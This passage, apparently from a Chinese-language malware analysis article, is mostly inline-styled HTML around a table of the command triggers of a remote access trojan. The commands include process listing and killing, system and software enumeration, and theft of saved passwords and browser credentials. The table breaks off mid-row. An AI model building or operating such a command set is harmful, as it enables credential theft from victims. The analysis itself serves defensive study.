rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">触发条件</span></p></th><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">功能描述</span></p></th><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">参数格式</span></p></th><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">响应格式</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Disconnected</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;Disconnected&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">断开连接并关闭网络流</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无响应</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">SystemInformation</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;SystemInformation&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">获取系统信息和深层信息</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">SystemInformation|系统信息</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">pkill</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.Contains(&#34;pkill&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">结束指定进程</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">pkill|进程ID</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ProcessManager|进程列表</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">ProcessManager</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;ProcessManager&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">获取当前进程列表</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ProcessManager|进程列表</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Software</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;Software&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">获取已安装软件列表</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">InstalledSoftware|已安装软件列表</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Passwords</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;Passwords&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">窃取系统保存的密码</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Unable to get Browser Credentials in Windows 11\n Use another HTA file.</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">RD</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.StartsWith(&#34;RD&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 